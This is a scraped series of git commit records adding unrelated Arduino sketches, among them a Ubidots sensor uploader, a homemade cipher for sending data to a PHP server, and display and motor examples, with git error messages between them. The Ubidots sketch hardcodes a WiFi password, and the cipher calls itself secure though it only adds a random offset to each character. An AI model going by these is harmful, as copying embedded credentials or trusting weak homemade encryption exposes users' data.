Create AnalogReadUbidots.ino

Create AnalogReadUbidots.ino

error: pathspec 'examples/AnalogReadUbidots.ino' did not match any file(s) known to git

--- examples/AnalogReadUbidots.ino
+++ examples/AnalogReadUbidots.ino
@@ -0,0 +1,52 @@
+/*
+ Analog Read example for Ubidots
+
+ This sketch connects to Ubidots (http://www.ubidots.com) using an Arduino Wifi shield.
+
+ This example is written for a network using WPA encryption. You only need your SSID and PASS.
+
+ This example uses Ubidots official library for Arduino WiFi Shield, for the Ubidots API v1.6.
+
+ With this example you can read an analog sensor with the arduino, and post it
+ to the Ubidots platform with the function save_value
+
+ Components:
+ * Arduino Wifi shield
+ * Serial Monitor in your Arduino IDE
+
+ Created 9 Jun 2014
+ Modified 9 Jun 2014
+ by Mateo Vélez
+
+ This code is in the public domain.
+
+ */
+#include <WiFi.h>
+#include <Ubidots.h>
+char ssid[] = "Atom House Medellin";                                                 //your network SSID (name)
+char pass[] = "atommed2014";                                                         //your network password (use for WPA, or use as key for WEP)
+String api = "xxxxxxx6794f9043f0918ddcbd26";                                         //your API Key
+String idvari = "53baaf3c76254244e1c8e408";                                          //the number of the Ubidots variable
+int sensorValue = 0;                                                                 //variable to store the value coming from the sensor
+int sensorPin = A0;                                                                  //select your analog pin
+Ubidots ubiclient(api);                                                              //call the api with the function ubiclient
+
+
+void setup()
+{
+   boolean response;
+   int status = WL_IDLE_STATUS;                                                      //we need to define first a WL_IDLE_STATUS for the network
+   Serial.begin(9600);                                                               //9600 baud for serial transmision
+   response = ubiclient.WifiCon(ssid, pass, status, api);                               //this function is to connect to your wifi network
+   Serial.println(response);                                                         //print response to the Serial Monitor
+}
+void loop()
+{
+
+       sensorValue = analogRead(sensorPin);
+       if (ubiclient.save_value(idvari, String(sensorValue)))                         //this function is to post to ubidots and return True or False depending on the connection status
+       {
+         Serial.println("The sensor value " + String(sensorValue) + " was sent to Ubidots");                //print the sensor value
+       }
+
+}


Adjusted to new physical configuration, print active panel IDs

error: pathspec 'arduino/Test' did not match any file(s) known to git
error: pathspec 'sketches/SimonTester/SimonTester.ino' did not match any file(s) known to git


Create COA_Arduino_with_ethernet.ino

Create COA_Arduino_with_ethernet.ino

error: pathspec 'Examples/Arduino-and-PHP/Arduino/COA_Arduino_with_ethernet.ino' did not match any file(s) known to git

--- Examples/Arduino-and-PHP/Arduino/COA_Arduino_with_ethernet.ino
+++ Examples/Arduino-and-PHP/Arduino/COA_Arduino_with_ethernet.ino
@@ -0,0 +1,159 @@
+/*****************************************************************
+******************************************************************
+			   ____ ___    _
+			  / ___/ _ \  / \
+			 | |  | | | |/ _ \
+			 | |__| |_| / ___ \
+        		  \____\___/_/   \_\
+                 Conor's Obscurification Algorithm
+
+  Conor Walsh 2014 - 2015
+     Website: http://www.conorwalsh.net
+     GitHub:  https://github.com/conorwalsh
+
+  Version 3.2
+
+  First created: 10th August 2014
+  Last modified: 21st March 2015
+
+  Description: This sample code shows how the alogoritm can be used
+               with its PHP companion to more securly send data
+               from an Arduino to a MySQL database.
+
+ *************************** LICENCE *****************************
+
+ Copyright (c) 2015 Conor Walsh
+
+ Permission is hereby granted, free of charge, to any person obtaining
+ a copy of this software and associated documentation files (the
+ "Software"), to deal in the Software without restriction, including
+ without limitation the rights to use, copy, modify, merge, publish,
+ distribute, sublicense, and/or sell copies of the Software, and to
+ permit persons to whom the Software is furnished to do so, subject to
+ the following conditions:
+
+ The above copyright notice and this permission notice shall be included
+ in all copies or substantial portions of the Software.
+
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+ IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+ CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+ TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+ SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+******************************************************************
+*****************************************************************/
+
+//Ethernet stuff
+#include <SPI.h>
+#include <Ethernet.h>
+
+//Setup for Ethernet Library
+byte mac_addr[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
+EthernetClient client;
+//Change to your server
+char server[] = "myserver.example.com";
+
+//This is an array of charcters that are used by my encrytion alogritim to generate secure hashes for network communication
+const char letters[58] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '!', '_', '>', '<', '~', ','};
+
+void setup() {
+  Serial.begin(9600);
+
+  Serial.println("Internet Starting . . .");
+  Serial.println("");
+  //Start Ethernet
+  Ethernet.begin(mac_addr);
+  delay(500);
+
+  Serial.println("Ready");
+  Serial.println(" ");
+}
+
+void loop() {
+
+  //Stores the message
+  String messagenew = "Hello World!";
+
+  //Calls the encrypt function with the message and security multiplier and stores it in a string
+  String encryptedmessage = COAencrypt(messagenew, 6);
+
+  //Send data to serial
+  Serial.println("Original: " + messagenew);
+  Serial.println("");
+  Serial.println("Encrypted: " + encryptedmessage);
+  Serial.println("");
+
+  Serial.println("Making Request...");
+  Serial.println("");
+
+  // if you get a connection, report back via serial:
+  if (client.connect(server, 80)) {
+    Serial.println("Connected");
+    // Make a HTTP request:
+    //change to your location
+    client.println("GET /arduino.php?i=" + encryptedmessage + " HTTP/1.1");
+    //change to your host
+    client.println("Host: myserver.example.com");
+    //client.println("Connection: close");
+    client.println();
+  }
+  else {
+    // If connection failed
+    Serial.println("Connection Failed");
+    Serial.println("");
+  }
+  if (client.connected()) {
+    Serial.println();
+    Serial.println("Disconnecting");
+    Serial.println("");
+    client.stop();
+  }
+
+  delay(20000);
+}
+
+//The COA function
+String COAencrypt(String messagetext1, int securityMultiplier) {
+
+  //Add a character to avoid corruption
+  String decryptedText = messagetext1 + "~";
+  //This key is a random number between 11 and 46 that is used to encrypt the information into a hash
+  int key = random(11, 46);
+
+  //Create a byte array that has the same number of bytes as the string
+  byte textByte[decryptedText.length()];
+  //Convert the unencypted information to a byte array that was created in the previous line
+  decryptedText.getBytes(textByte, decryptedText.length());
+
+  //This line creates the string that stores the hash
+  //Step 1 of the encryption is to multiply the key by 6 and then add a random letter/symbol stored in the letters array
+  //E.g. the start of the encryption looks like this 210x the key is 35 and the random character is x
+  String textDec = String(key*securityMultiplier) + letters[random(0, 58)];
+
+  //This loop runs once for every charcter in the unencypted array which was converted from the unencrypted string
+  for(int i = 0; i <= decryptedText.length(); i++){
+    //If it is the last character in the array then run this function
+    if(i==decryptedText.length()){
+      //Convert the character to decimal value e.g a = 97
+      //Add the key to the decimal value e.g. if the key = 35 then a = 132 (97 + 35)
+      //Convert the integers to a string
+      //Add it to the already encryted data in the string
+      textDec = textDec + String(String(textByte[i]).toInt()+key);
+    }
+    //If it is not the last character in the array then run this function
+    else{
+      //Convert the character to decimal value e.g a = 97
+      //Add the key to the decimal value e.g. if the key = 35 then a = 132 (97 + 35)
+      //Convert the integers to a string
+      //Add a random charcter/symbol from the letters array this acts as a spacer for the decrytion algoritim on the server side because the decimal value can...
+      //...be 2 or 3 numbers long and it is difficult to seperate otherwise whereas with the character/symbol spacer the alogoritim knows where the decimal values start and end.
+      //Add it to the already encryted data in the string
+      textDec = textDec + String(String(textByte[i]).toInt()+key) + letters[random(0, 58)];
+    }
+  }
+  //Tell serial the encrypted data that is sent to the server (For debugging)
+  return textDec;
+}


Create 01_Particle.ino

Create 01_Particle.ino

error: pathspec 'firmware/examples/01_Particle/01_Particle.ino' did not match any file(s) known to git

--- firmware/examples/01_Particle/01_Particle.ino
+++ firmware/examples/01_Particle/01_Particle.ino
@@ -0,0 +1 @@
+


Internal mcu temperature

Internal mcu temperature

error: pathspec 'Mk2/experiments/internal_temperature/internal_temperature.ino' did not match any file(s) known to git

--- Mk2/experiments/internal_temperature/internal_temperature.ino
+++ Mk2/experiments/internal_temperature/internal_temperature.ino
@@ -0,0 +1,61 @@
+// Internal Temperature Sensor
+// Example sketch for ATmega328 types.
+//
+// April 2012, Arduino 1.0
+
+void setup()
+{
+  Serial.begin(115200);
+
+  // The internal temperature has to be used
+  // with the internal reference of 1.1V.
+  // Set the internal reference and mux.
+  ADMUX = (_BV(REFS1) | _BV(REFS0) | _BV(MUX3));
+  ADCSRA |= _BV(ADEN);  // enable the ADC
+  delay(5);
+
+  Serial.println(F("Internal Temperature Sensor"));
+
+}
+
+void loop()
+{
+  // Show the temperature in degrees Celsius.
+  Serial.println(mcuTemperature());
+  delay(1000);
+}
+
+int mcuTemperatureRaw() {
+  // Start the conversion
+  ADCSRA |= _BV(ADSC);
+
+  // Detect end-of-conversion
+  while (bit_is_set(ADCSRA,ADSC));
+
+  // Reading register "ADCW" takes care of how to read ADCL and ADCH.
+  return ADCW;
+}
+
+int mcuTemperature(void)
+{
+  int sum = 0;
+  int avg = 0;
+  double t;
+
+  // Average a bit shiftable amount of readings.
+  for (uint8_t i; i < 8; i++) {
+    sum += mcuTemperatureRaw();
+  }
+  avg = sum / 8;
+
+  // subtract 273 for celsius
+  // subtract the extra offest.
+  // the 1.22 is a fixed coefficient k (http://www.atmel.com/Images/Atmel-8108-Calibration-of-the-AVR's-Internal-Temperature-Reference_ApplicationNote_AVR122.pdf)
+  //@link https://playground.arduino.cc/Main/InternalTemperatureSensor
+  t = (avg - 333.5) / 1.22;
+
+
+  // The returned temperature is in degrees Celsius.
+  return round(t);
+}
+


module with esp8266 and pir sensor

module with esp8266 and pir sensor

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/werar/iothome.git/'


Add simple example for the library

Add simple example for the library

error: pathspec 'examples/simpletest/simpletest.ino' did not match any file(s) known to git

--- examples/simpletest/simpletest.ino
+++ examples/simpletest/simpletest.ino
@@ -0,0 +1,72 @@
+#include <Arduino.h>
+#include <SPI.h>
+#include <ssd1351.h>
+
+// use this to do Color c = RGB(...) instead of `RGB c = RGB(...)` or ssd1351::LowColor c = RGB(...)
+// because it's slightly faster and guarantees you won't be sending wrong colours to the display.
+
+// Choose color depth - LowColor and HighColor currently supported
+// typedef ssd1351::LowColor Color;
+typedef ssd1351::HighColor Color;
+
+// Choose display buffering - NoBuffer or SingleBuffer currently supported
+// auto display = ssd1351::SSD1351<Color, ssd1351::NoBuffer, 128, 96>();
+auto display = ssd1351::SSD1351<Color, ssd1351::SingleBuffer, 128, 96>();
+
+bool up = false;
+int pos = 127;
+const int particles = 256;
+int offsets[particles];
+int x_pos[particles];
+int y_pos[particles];
+Color particle_colors[particles];
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println("Booting...");
+  display.begin();
+  Serial.println("Display set up.");
+
+  for (int i = 0; i < particles; i++) {
+    x_pos[i] = random(0, 128);
+    y_pos[i] = random(0, 96);
+    particle_colors[i] = ssd1351::RGB(0, i + 10, i/2 + 10);
+  }
+}
+
+void loop() {
+  unsigned long before = millis();
+  display.fillScreen(ssd1351::RGB());
+  Color circleColor = ssd1351::RGB(0, 128, 255);
+
+  for (int i = 0; i < particles; i++) {
+    offsets[i] += random(-2, 3);
+    display.drawLine(
+      x_pos[i] + offsets[i],
+      y_pos[i] + offsets[i],
+      pos,
+      80 + sin(pos / 4.0) * 20,
+      particle_colors[i]
+    );
+    display.drawCircle(
+      x_pos[i] + offsets[i],
+      y_pos[i] + offsets[i],
+      1,
+      circleColor
+    );
+  }
+  display.updateScreen();
+  Serial.println(millis() - before);
+
+  if (up) {
+    pos++;
+    if (pos >= 127) {
+      up = false;
+    }
+  } else {
+    pos--;
+    if (pos < 0) {
+      up = true;
+    }
+  }
+}


add actual Arduino sketch file

add actual Arduino sketch file

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/szymekrak/etlogd.git/'


Add example

Add example

error: pathspec 'TURIPshell/examples/TURIPonUARTserver_GPIO/TURIPonUARTserver_GPIO.ino' did not match any file(s) known to git

--- TURIPshell/examples/TURIPonUARTserver_GPIO/TURIPonUARTserver_GPIO.ino
+++ TURIPshell/examples/TURIPonUARTserver_GPIO/TURIPonUARTserver_GPIO.ino
@@ -0,0 +1,66 @@
+#include <TURIPserver.h>
+#include <TURIPshell.h>
+
+const uint32_t TURIP_MODEL = 0x371b;
+const uint32_t TURIP_SERIAL = 0x0;
+
+const int PIN_AI1 = 0;
+const int PIN_AI2 = 1;
+const int PIN_AO1 = 5;
+const int PIN_AO2 = 6;
+const int PIN_DI1 = 7;
+const int PIN_DI2 = 8;
+const int PIN_DO1 = 3;
+const int PIN_DO2 = 4;
+
+TURIPport dIn1(1);
+TURIPport dIN2(2);
+TURIPport dOut1(3);
+TURIPport dOut2(4);
+TURIPport aIn1(5);
+TURIPport aIn2(6);
+TURIPport aOut1(7);
+TURIPport aOut2(8);
+
+void setup(){
+  Serial.begin(9600);
+
+  pinMode(PIN_DI1, INPUT);
+  pinMode(PIN_DI2, INPUT);
+  pinMode(PIN_DO1, OUTPUT);
+  pinMode(PIN_DO2, OUTPUT);
+  analogWrite(PIN_AO1, 0);
+  analogWrite(PIN_AO2, 0);
+
+  aIn1.preTransmitFunc = setValues;
+  aIn2.preTransmitFunc = setValues;
+  aOut1.postReceiveFunc = setValues;
+  aOut2.postReceiveFunc = setValues;
+
+  TURIPserver.begin(TURIP_MODEL, TURIP_SERIAL);
+}
+
+void loop(){
+  serialEvent();
+}
+
+void serialEvent(){
+  static String strBuf;
+  while(Serial.available()){
+    char c = Serial.read();
+    if(c == 0x0a){  // 0x0a: LF
+      strBuf.trim();
+      Serial.println(TURIPshell(strBuf));
+      strBuf = "";
+    }else{
+      strBuf += c;
+    }
+  }
+}
+
+void setValues(){
+  analogWrite(PIN_AO1, aOut1.readUint16());
+  analogWrite(PIN_AO1, aOut2.readUint16());
+  aIn1.writeUint16(analogRead(PIN_AI1));
+  aIn2.writeUint16(analogRead(PIN_AI2));
+}


Added what should be the "real" system and not a simple demo

error: pathspec 'arduino/colour_controlled_with_decay/colour_controlled_with_decay.ino' did not match any file(s) known to git

--- arduino/colour_controlled_with_decay/colour_controlled_with_decay.ino
+++ arduino/colour_controlled_with_decay/colour_controlled_with_decay.ino
@@ -0,0 +1,295 @@
+#include "Arduino.h"
+#include <Ethernet.h>
+#include <SPI.h>
+#include <string.h>
+#include <stdlib.h>
+
+#include <WebSocketClient.h>
+
+byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
+char server[] = "10.0.1.15";
+char path[] = "/socket.io/websocket/";
+int port = 8000;
+WebSocketClient client;
+
+#define BUFLENGTH 64
+char buf[BUFLENGTH]; // character buffer for json processing
+
+#define STATE_NONE 0
+#define STATE_START 1
+#define START_COLOURCHANGE 2
+int state = STATE_NONE;
+
+int CKI = 2;
+int SDI = 3;
+int colour_id = 0;
+
+#define STRIP_LENGTH 3 // Number of RGBLED modules connected
+long strip_colors[STRIP_LENGTH];
+
+long ind_colours[STRIP_LENGTH]; // actual individual modules.
+
+struct colour_module {
+  int r;
+  int b;
+  int g;
+};
+
+int pos = -1;
+int red = 0;
+int blue = 0;
+int green = 0;
+
+#define DEBUG
+
+void setup() {
+  // set up the devices
+  pinMode(SDI, OUTPUT);
+  pinMode(CKI, OUTPUT);
+
+  Serial.begin(9600);
+  #ifdef DEBUG
+    Serial.println("Starting Up");
+    freeMem("At Start: ");
+  #endif
+
+  Ethernet.begin(mac);
+  delay(1000);
+  #ifdef DEBUG
+    Serial.println("Connecting");
+  #endif
+  if (client.connect(server, path, port) ) {
+    #ifdef DEBUG
+    Serial.println("Attempt a subscribe");
+    #endif
+    client.subscribe("pong");
+    #ifdef DEBUG
+    Serial.println("Sending data");
+    #endif
+    client.setDataArrivedDelegate(dataArrived);
+  } else {
+    #ifdef DEBUG
+    Serial.println("Not Connected - check connection and start again");
+    #endif
+    while (1) {
+      //digitalWrite(13, HIGH);
+      //delay(1000);
+      //digitalWrite(13, LOW);
+      //delay(1000);
+    }
+  }
+
+  digitalWrite(13, HIGH);
+}
+
+void loop() {
+  client.monitor();
+
+  for (int i=0; i < STRIP_LENGTH; i++) {
+    if (pos == i) {
+      ind_colours[i] = get_colour(red, green, blue);
+    } else {
+      ind_colours[i] = get_colour(0,0,0);
+    }
+  }
+
+  post_set(ind_colours);
+  delay(1);
+}
+
+void dataArrived(WebSocketClient client, String data) {
+
+  // check here for a json message as it's most timely and also most frequent
+  int jsonindex = data.lastIndexOf("~j~");
+  if (jsonindex > 0) {
+    //now get the json message
+    String msg_string = data.substring(jsonindex+3);
+    msg_string = msg_string.substring(1, msg_string.lastIndexOf("}"));
+    msg_string.replace(" ", "");
+    msg_string.replace("\"", "");
+
+    #ifdef DEBUG
+    Serial.println("Message:");
+    Serial.println(msg_string);
+    freeMem("After JSON arrives: ");
+    #endif
+
+    msg_string.toCharArray(buf, BUFLENGTH);
+
+    #ifdef DEBUG
+    freeMem("After char conversion: ");
+    #endif
+
+    // iterate over the tokens of the message - assumed flat.
+    char *p = buf;
+    char *str;
+    while ((str = strtok_r(p, ",", &p)) != NULL) {
+      #ifdef DEBUG
+      Serial.println(str);
+      #endif
+
+      char *tp = str;
+      char *key; char *val;
+
+      // get the key
+      key = strtok_r(tp, ":", &tp);
+      val = strtok_r(NULL, ":", &tp);
+
+      #ifdef DEBUG
+      Serial.print("Key: ");
+      Serial.println(key);
+      Serial.print("val: ");
+      Serial.println(val);
+      #endif
+
+      if (*key == 'r') red = atoi(val);
+      if (*key == 'g') green = atoi(val);
+      if (*key == 'b') blue = atoi(val);
+      if (*key == 'p') pos = atoi(val);
+
+    }
+
+    #ifdef DEBUG
+    Serial.print("RGB: (");
+    Serial.print(red);
+    Serial.print(",");
+    Serial.print(green);
+    Serial.print(",");
+    Serial.print(blue);
+    Serial.print(") P: ");
+    Serial.println(pos);
+    #endif
+
+  } else {
+    // check for heartbeat message
+    int heartindex = data.lastIndexOf("~h~");
+    #ifdef DEBUG
+    Serial.print("Heartbeat sequence: ");
+    Serial.println(data.substring(heartindex+3));// datalength-3));
+
+    freeMem("After heartbeat: ");
+    #endif
+
+  }
+}
+
+// stuff here for posting colours
+
+long get_colour(int red, int green, int blue) {
+  // given an 8 bit value for a colour channel, return the
+  // long version of it.
+  long r = (long) red<<16;
+  long g = (long) green<<8;
+  long b = (long) blue;
+  return (r + g + b);
+}
+
+void post_set(long *modules) {
+  // takes the full set of modules and then posts the data appropriately
+  for (int led_index =0; led_index < STRIP_LENGTH; led_index++) {
+    write_to_module(modules[led_index]);
+  }
+
+  //Pull clock low to put strip into reset/post mode
+  digitalWrite(CKI, LOW);
+  delayMicroseconds(500); //Wait for 500us to go into reset
+}
+
+void write_to_module(long led_colour) {
+  // this method actually writes the colour that is provided to the module string
+
+    for(byte color_bit = 23 ; color_bit != 255 ; color_bit--) {
+      //Feed color bit 23 first (red data MSB)
+
+      digitalWrite(CKI, LOW); //Only change data when clock is low
+
+      long mask = 1L << color_bit;
+      //The 1'L' forces the 1 to start as a 32 bit number, otherwise it defaults to 16-bit.
+      if(led_colour & mask)
+        digitalWrite(SDI, HIGH);
+      else
+        digitalWrite(SDI, LOW);
+
+      digitalWrite(CKI, HIGH); //Data is latched when clock goes high
+    }
+}
+
+void post_frame (int colour_id) {
+  for(int LED_number = 0; LED_number < STRIP_LENGTH; LED_number++)
+  {
+    long this_led_color = strip_colors[LED_number]; //24 bits of color data
+
+    for(byte color_bit = 23 ; color_bit != 255 ; color_bit--) {
+      //Feed color bit 23 first (red data MSB)
+
+      digitalWrite(CKI, LOW); //Only change data when clock is low
+
+      long mask = 1L << color_bit;
+      //The 1'L' forces the 1 to start as a 32 bit number, otherwise it defaults to 16-bit.
+
+      if(this_led_color & mask)
+        digitalWrite(SDI, HIGH);
+      else
+        digitalWrite(SDI, LOW);
+
+      digitalWrite(CKI, HIGH); //Data is latched when clock goes high
+    }
+  }
+
+  //Pull clock low to put strip into reset/post mode
+  digitalWrite(CKI, LOW);
+  delayMicroseconds(500); //Wait for 500us to go into reset
+}
+
+
+#ifdef DEBUG
+//Code to print out the free memory
+
+struct __freelist {
+  size_t sz;
+  struct __freelist *nx;
+};
+
+extern char * const __brkval;
+extern struct __freelist *__flp;
+
+uint16_t freeMem(uint16_t *biggest)
+{
+  char *brkval;
+  char *cp;
+  unsigned freeSpace;
+  struct __freelist *fp1, *fp2;
+
+  brkval = __brkval;
+  if (brkval == 0) {
+    brkval = __malloc_heap_start;
+  }
+  cp = __malloc_heap_end;
+  if (cp == 0) {
+    cp = ((char *)AVR_STACK_POINTER_REG) - __malloc_margin;
+  }
+  if (cp <= brkval) return 0;
+
+  freeSpace = cp - brkval;
+
+  for (*biggest = 0, fp1 = __flp, fp2 = 0;
+     fp1;
+     fp2 = fp1, fp1 = fp1->nx) {
+      if (fp1->sz > *biggest) *biggest = fp1->sz;
+    freeSpace += fp1->sz;
+  }
+
+  return freeSpace;
+}
+
+uint16_t biggest;
+
+void freeMem(char* message) {
+  Serial.print(message);
+  Serial.print(":\t");
+  Serial.println(freeMem(&biggest));
+}
+
+#endif
+
+


init repo with old code

init repo with old code

error: pathspec 'a_star_dual_25D_motor/a_star_dual_25D_motor.ino' did not match any file(s) known to git

--- a_star_dual_25D_motor/a_star_dual_25D_motor.ino
+++ a_star_dual_25D_motor/a_star_dual_25D_motor.ino
@@ -0,0 +1,279 @@
+#include <low_pass_filter.h>
+#include <PinChangeInt.h>
+#include <PinChangeIntConfig.h>
+
+#define encA1 1
+#define encB1 0
+#define encA2 3
+#define encB2 2
+#define encA1_int 3
+#define encB1_int 2
+#define encA2_int 0
+#define encB2_int 1
+
+LPFilter lpfilter1, lpfilter2;
+
+volatile long motor_pos1, motor_pos2 = 0;
+unsigned volatile long last_trig1, t_trig1, dt1;
+
+uint8_t led_pin = 13;
+uint8_t inA1 = 5;
+uint8_t inB1 = 4;
+uint8_t inA2 = 6;
+uint8_t inB2 = 7;
+uint8_t pwm1 = 10;
+uint8_t pwm2 = 9;
+uint8_t c_sense1 = A1;
+uint8_t c_sense2 = A0;
+
+int activate_state, last_activate_state = 0;
+
+uint16_t setCurrent1 = uint16_t(0.8/0.009775); //0.8 Amps
+uint16_t setCurrent2 = uint16_t(0.8/0.009775); //0.8 Amps
+float thisCurrent1 = 0, thisCurrent2 = 0;
+float motor_pwr1 = 0, motor_pwr2 = 0;
+int error1 = 0, error2 = 0;
+float kp1 = 20.8, kp2 = 20.8;
+float ki1= 2.3, ki2 = 2.3; //2.3
+uint8_t max_pwm = 100;
+int sum_error;
+
+int last_t, t, dt;
+int dpos1, last_motor_pos1;
+float vel1, vel2;
+
+uint16_t t_start = 0;
+
+boolean off = true;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println("started...");
+
+  pinMode(led_pin, OUTPUT);
+  pinMode(inA1, OUTPUT);
+  pinMode(inB1, OUTPUT);
+  pinMode(inA2, OUTPUT);
+  pinMode(inB2, OUTPUT);
+  pinMode(pwm1, OUTPUT);
+  pinMode(pwm2, OUTPUT);
+
+  pinMode(encA1, INPUT);
+  pinMode(encB1, INPUT);
+  pinMode(encA2, INPUT);
+  pinMode(encB2, INPUT);
+  pinMode(c_sense1, INPUT);
+  pinMode(c_sense2, INPUT);
+
+  attachInterrupt(encA1_int, encA1trig, CHANGE);
+  attachInterrupt(encA2_int, encA2trig, CHANGE);
+
+  lpfilter1.init(2.5, measureCurrentInt1());
+  lpfilter2.init(2.5, measureCurrentInt2());
+}
+
+void loop() {
+//  //DEBUG
+//  analogWrite(pwm1, 50);
+//  digitalWrite(dir1, LOW);
+//  analogWrite(pwm2, 50);
+//  digitalWrite(dir2, LOW);
+//  driveMotor(1,-50);
+
+//  digitalWrite(inA1, LOW);
+//  digitalWrite(inB1, HIGH);
+//  analogWrite(pwm1,50);
+
+//  t = millis();
+//  dt = t - last_t;
+//  last_t = t;
+//
+  dpos1 = last_motor_pos1 - motor_pos1;
+  last_motor_pos1 = motor_pos1;
+//
+//  vel1 = dpos1/dt;
+
+  if (dt1 > 5000) { dt1 = 5000; }
+  int error = dt1-500;
+  sum_error += error;
+  sum_error = constrain(sum_error,-10000,10000);
+  motor_pwr2 = 0.05*int(dt1-1000) + 0.01*sum_error;
+
+  driveMotor(1,constrain(motor_pwr2,0,255));
+
+  // Serial output for debugging
+  Serial.print("M1: ");
+  Serial.print(motor_pos2);
+  Serial.print(", ");
+  Serial.print(motor_pwr2);
+  Serial.print(", ");
+  Serial.println(dt1);
+//  Serial.print("   M2: ");
+//  Serial.print(motor_pos2);
+//  Serial.print(", ");
+//  Serial.print(thisCurrent2);
+//  Serial.println();
+
+//  // Read serial in for debugging
+//  if (Serial.available()) {
+//    char input = Serial.read();
+//    if (input == 'u') {
+//      digitalWrite(led_pin, LOW);
+//      digitalWrite(dir1, HIGH);
+//      digitalWrite(dir2, HIGH);
+//      Serial.println("up");
+//      error1 = 0;
+//      error2 = 0;
+//      t_start = millis();
+//    } else if (input == 'd') {
+//      digitalWrite(led_pin, HIGH);
+//      digitalWrite(dir1, LOW);
+//      digitalWrite(dir2, LOW);
+//      Serial.println("down");
+//      t_start = millis();
+//      error1 = 0;
+//      error2 = 0;
+//    } else {
+//    }
+//  }
+//
+//  //Check activate pin
+//  activate_state = digitalRead(activate_pin);
+//  if (activate_state != last_activate_state) {
+//    //Debounce
+//    delay(10);
+//    activate_state = digitalRead(activate_pin);
+//    //if it's changed...
+//    if (activate_state != last_activate_state) {
+//      if (activate_state) {
+//        digitalWrite(led_pin, HIGH);
+//        digitalWrite(dir1, LOW);
+//        digitalWrite(dir2, LOW);
+//        Serial.println("down");
+//      } else {
+//        digitalWrite(led_pin, LOW);
+//        digitalWrite(dir1, HIGH);
+//        digitalWrite(dir2, HIGH);
+//        Serial.println("up");
+//      }
+//      last_activate_state = activate_state;
+//      t_start = millis();
+//    }
+//  }
+//
+//  // Main current control update
+//  thisCurrent1 = lpfilter1.step(measureCurrentInt1());
+//  error1 += setCurrent1-thisCurrent1;
+//  error1 = constrain(error1,-100,100);
+//  motor_pwr1 = constrain(kp1*(setCurrent1-thisCurrent1)+ki1*error1,0,max_pwm);
+//
+//  thisCurrent2 = lpfilter2.step(measureCurrentInt2());
+//  error2 += setCurrent2-thisCurrent2;
+//  error2 = constrain(error2,-100,100);
+//  motor_pwr2 = constrain(kp2*(setCurrent2-thisCurrent2)+ki2*error2,0,max_pwm);
+//
+//  // stop after 1 second
+//  uint16_t dt = millis()-t_start;
+//  if (dt < 1000) {
+//    analogWrite(pwm1, motor_pwr1);
+//    analogWrite(pwm2, motor_pwr2);
+//  } else {
+//    analogWrite(pwm1, 0);
+//    analogWrite(pwm2, 0);
+//  }
+}
+
+void driveMotor(uint8_t which_motor, float pwr) {
+  uint8_t m_pwm = constrain(abs(pwr),0,max_pwm);
+  int dir = sgn(int(pwr));
+  switch(which_motor) {
+    case 1:
+      if (dir > 0) {
+        digitalWrite(inA1, HIGH);
+        digitalWrite(inB1, LOW);
+      } else if (dir < 0) {
+        digitalWrite(inA1, LOW);
+        digitalWrite(inB1, HIGH);
+      } else {
+        digitalWrite(inA1, HIGH);
+        digitalWrite(inB1, HIGH);
+      }
+      analogWrite(pwm1, m_pwm);
+    break;
+    case 2:
+      if (dir > 0) {
+        digitalWrite(inA2, HIGH);
+        digitalWrite(inB2, LOW);
+      } else if (dir < 0) {
+        digitalWrite(inA2, LOW);
+        digitalWrite(inB2, HIGH);
+      } else {
+        digitalWrite(inA2, HIGH);
+        digitalWrite(inB2, HIGH);
+      }
+      analogWrite(pwm2, m_pwm);
+    break;
+  }
+}
+
+static inline int8_t sgn(int val) {
+  if (val < 0) return -1;
+  if (val==0) return 0;
+  return 1;
+}
+
+float measureCurrent1() {
+  // 140mV/A
+  return (analogRead(c_sense1)*0.03491); //adc to A
+}
+
+uint16_t measureCurrentInt1() {
+  return analogRead(c_sense1);
+}
+
+
+float measureCurrent2() {
+  // 140mV/A
+  return (analogRead(c_sense2)*0.03491); //adc to A
+}
+
+uint16_t measureCurrentInt2() {
+  return analogRead(c_sense2);
+}
+
+void encA1trig() {
+  if (digitalRead(encA1) == HIGH) {
+    if (digitalRead(encB1) == LOW) {
+      motor_pos1++;
+    } else {
+      motor_pos1--;
+    }
+  } else {
+    if (digitalRead(encB1) == LOW) {
+      motor_pos1--;
+    } else {
+      motor_pos1++;
+    }
+  }
+
+//  if (dt1 > 1000) { dt1 = 1000; }
+}
+
+void encA2trig() {
+  if (digitalRead(encA2) == HIGH) {
+    if (digitalRead(encB2) == LOW) {
+      motor_pos2++;
+    } else {
+      motor_pos2--;
+    }
+  } else {
+    if (digitalRead(encB2) == LOW) {
+      motor_pos2--;
+    } else {
+      motor_pos2++;
+    }
+  }
+  last_trig1 = t_trig1;
+  t_trig1 = micros();
+  dt1 = t_trig1 - last_trig1;
+}


Teensy MIDI support

Teensy MIDI support

The humble beginnings of a MIDI player for Teensy 2.0++ and newer. In
relation to #27

* Handles key on, off and velocity
* Handles program changes
* Drums are not supported yet
* Probably needs better instrument patches than what's currently
included with the library
